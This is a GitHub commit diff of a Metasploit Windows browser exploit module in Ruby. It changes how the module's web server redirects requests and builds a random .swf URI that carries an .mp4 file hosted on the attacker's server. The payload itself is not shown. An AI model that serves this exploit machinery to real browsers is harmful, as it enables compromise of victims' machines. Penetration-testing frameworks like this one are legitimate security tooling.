File tree Expand file tree Collapse file tree 1 file changed +4
-3
lines changed
modules/exploits/windows/browser Expand file tree Collapse file tree 1 file changed +4
-3
lines changed Original file line number Diff line number Diff line change @@ -108,8 +108,8 @@ def on_request_uri(cli, request)
108
108
end
109
109
110
110
# Redirect to a trailing slash so relative paths work properly
111
- if resource_uri != "/" and not request . uri . index ( "#{ resource_uri } /" )
112
- uri = resource_uri + "/"
111
+ if get_resource != "/" and not request . uri . index ( "#{ get_resource } /" )
112
+ uri = get_resource + "/"
113
113
send_redirect ( cli , uri )
114
114
return
115
115
end
@@ -147,7 +147,8 @@ def on_request_uri(cli, request)
147
147
end
148
148
149
149
myhost = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address ( '50.50.50.50' ) : datastore [ 'SRVHOST' ]
150
- swf_uri = Rex ::Text . rand_text_alphanumeric ( rand ( 8 ) +4 ) + ".swf"
150
+ mp4_uri = "http://#{ myhost } :#{ datastore [ 'SRVPORT' ] } #{ get_resource ( ) } /#{ rand_text_alpha ( rand ( 6 ) +3 ) } .mp4"
151
+ swf_uri = Rex ::Text . rand_text_alphanumeric ( rand ( 8 ) +4 ) + ".swf" + "?autostart=true&image=video.jpg&file=#{ mp4_uri } "
151
152
152
153
html = %Q|
153
154
<html>
You can’t perform that action at this time.
0 commit comments